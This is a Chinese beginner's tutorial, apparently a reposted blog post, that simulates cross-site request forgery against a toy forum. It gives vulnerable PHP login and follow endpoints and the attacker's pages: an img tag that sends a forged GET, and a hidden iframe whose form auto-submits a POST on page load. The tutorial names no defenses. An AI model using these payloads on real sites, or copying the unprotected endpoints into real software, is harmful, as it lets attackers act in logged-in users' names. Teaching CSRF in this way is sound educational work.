模拟一次CSRF(跨站请求伪造)例子,适合新手

GET请求伪造

有一个论坛网站,网站有一个可以关注用户的接口,但是必须登录的用户才可以关注其他用户。

这个网站的网站是www.a.com

有一天有一个程序员想提高自己的知名度,决定利用CSRF让大家关注自己

》》该论坛的目录结构和源码资源

index.html

 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4     <meta charset="UTF-8">
 5     <meta name="viewport" content="width=device-width, initial-scale=1.0">
 6     <meta http-equiv="X-UA-Compatible" content="ie=edge">
 7     <title>主页</title>
 8 </head>
 9 <body>
10     <form action="start.php" method="GET">
11         <input type="text" name="startname" /><br>
12         <input type="submit" value="关注他" /><br>
13     </form>
14 </body>
15 </html>

login.html

 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4     <meta charset="UTF-8">
 5     <meta name="viewport" content="width=device-width, initial-scale=1.0">
 6     <meta http-equiv="X-UA-Compatible" content="ie=edge">
 7     <title>登陆界面</title>
 8 </head>
 9 <body>
10     <form action="login.php" method="GET">
11         <input type="text" name="username" id="name"/><br>
12         <input type="password" name="password" /><br>
13         <input type="submit" value="登陆"/><br>
14     </form>
15 </body>
16 </html>

login.php

 1 <?php
 2     session_start();
 3     if(isset($_GET['username']) && isset($_GET['password'])){
 4         $name=$_GET['username'];
 5         $password=$_GET['password'];
 6         if($name=="zhangshan" && $password=="wwwww"){
 7             echo "登陆成功,正在跳转。。。。";
 8             setcookie('loginstate',"$name");
 9             $_SESSION["$name"]=$name;
10             echo '<meta http-equiv="refresh" content="0;url=index.html" />';
11         }else{
12             echo "登陆失败,重新登陆......";
13             echo '<meta http-equiv="refresh" content="3;url=login.html" />';
14         }
15     }else{
16         echo "输入有误。。。。。密码不正确";
17         echo '<meta http-equiv="refresh" content="1;url=login.html" />';
18     }
19 ?>

关注的接口,关注之后会打日志到log.txt

 1 <?php
 2 session_start();
 3 if(isset($_GET['startname'])){
 4     if(isset($_COOKIE['loginstate'])){
 5         $name=$_SESSION[$_COOKIE['loginstate']];
 6         $startname=$_GET['startname'];
 7         echo "当前登陆用户为$name";
 8         echo "<br>";
 9         echo "尊敬的$name,你已经成功关注了$startname";
10         $myfile = fopen("log.txt", "w") or die("Unable to open file!");
11         $txt = "尊敬的$name,你已经成功关注了$startname"."
";
12         fwrite($myfile, $txt);
13         fclose($myfile);    
14     }else{
15         echo "你还没有登陆,跳转中。。。。。";
16         echo '<meta http-equiv="refresh" content="3;url=login.html" />';
17     }
18 }else{
19     echo "请输入你要关注的用户";
20     echo '<meta http-equiv="refresh" content="0;url=index.html" />';
21 }
22 ?>

》》攻击者的网站

 攻击者的网站的一个页面是这样的

 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4     <meta charset="UTF-8">
 5     <meta name="viewport" content="width=device-width, initial-scale=1.0">
 6     <meta http-equiv="X-UA-Compatible" content="ie=edge">
 7     <title>Document</title>
 8 </head>
 9 <body>
10     如果,客户端不久前登陆过www.a.com,
11     打开此页,自动关注,woshihaore
12     <img src="http://www.a.com/start.php?startname=woshihaoren" />
13 </body>
14 </html>

这样的话,只要用户在登陆过a网站之后,在浏览器中打开b网站的这个网页,就会自动执行该接口,关注自己,提高关注量的目的达到

》》攻击者可以将链接放在任何可以被浏览器解析并发送请求的地方

如果该接口使用的POST传值的话也是可以的,需要在攻击者的网页上构造一个form表单,但是form表单提交是非跨域的请求,所以请求并不会提交,

但是使用iframe可以解决这个问题,iframe可以解决跨域的问题。

————————————————————————————————————————————————————————————————————————————

有些时候,网站可能采用POST来提交参数,但是form表单受制于同源策略的影响,这种情况下的跨域提交数据。

跨域POST请求伪造之邪恶的iframe

有 一个网站a,存在一个接口,这个接口允许已经登陆的用户,关注别的用户,这个接口需要一个被关注的用户的用户名参数,该接口使用POST传参数

网站a的源码结构

index.html页面使用用户登陆后的页面,这个页面的的form表单提交一个被关注人的用户名

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>主页</title>
</head>
<body>
    <form action="start.php" method="POST">
        <input type="text" name="startname" /><br>
        <input type="submit" value="关注他" /><br>
    </form>
</body>
</html>

log.txt为日志输出,用户关注的信息会输出到这个日志文件

login.html---为登陆的前端页面

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>登陆界面</title>
</head>
<body>
    <form action="login.php" method="GET">
        <input type="text" name="username" id="name"/><br>
        <input type="password" name="password" /><br>
        <input type="submit" value="登陆"/><br>
    </form>
</body>
</html>

login.php---为登陆的后台页面,简单的生成session会话

<?php
    session_start();
    if(isset($_GET['username']) && isset($_GET['password'])){
        $name=$_GET['username'];
        $password=$_GET['password'];
        if($name=="zhangshan" && $password=="wwwww"){
            echo "登陆成功,正在跳转。。。。";
            setcookie('loginstate',"$name");
            $_SESSION["$name"]=$name;
            echo '<meta http-equiv="refresh" content="0;url=index.html" />';
        }else{
            echo "登陆失败,重新登陆......";
            echo '<meta http-equiv="refresh" content="3;url=login.html" />';
        }
    }else{
        echo "输入有误。。。。。密码不正确";
        echo '<meta http-equiv="refresh" content="1;url=login.html" />';
    }
?>

 start.php---为关注用户的后台接口,接收POST传值

<?php
session_start();
if(isset($_POST['startname'])){
    if(isset($_COOKIE['loginstate'])){
        $name=$_SESSION[$_COOKIE['loginstate']];
        $startname=$_POST['startname'];
        echo "当前登陆用户为$name";
        echo "<br>";
        echo "尊敬的$name,你已经成功关注了$startname";
        $myfile = fopen("log.txt", "w") or die("Unable to open file!");
        $txt = "尊敬的$name,你已经成功关注了$startname"."
";
        fwrite($myfile, $txt);
        fclose($myfile);    
    }else{
        echo "你还没有登陆,跳转中。。。。。";
        echo '<meta http-equiv="refresh" content="3;url=login.html" />';
    }
}else{
    echo "请输入你要关注的用户";
    echo '<meta http-equiv="refresh" content="0;url=index.html" />';
}
?>

网站b作为攻击者的网站,网站b的目录结构

 

index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>测试跨站请求伪造POST</title>
    <script type="text/javascript">
        function csrf(){
            window.frames['steal'].document.forms[0].submit();
        }
    </script>
</head>

<body onload="csrf()">
    <iframe display="none" name="steal" src="./csrf.html">

    </iframe>
</body>
</html>

csrf.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <form action="http://www.a.com/start.php" method="POST" display="none">
        <input type="text" name="startname" value="woshihaoren"/><br>
        <input type="submit" value="关注他" /><br>
    </form>
</body>
</html>

这种通过在iframe中嵌套form从而达到使form跨域操作。

这样的话,登陆了a网站的人,再访问b网站的主页就会自动关注表单提交的用户名。 

原文地址:https://www.cnblogs.com/smallsima/p/8675523.html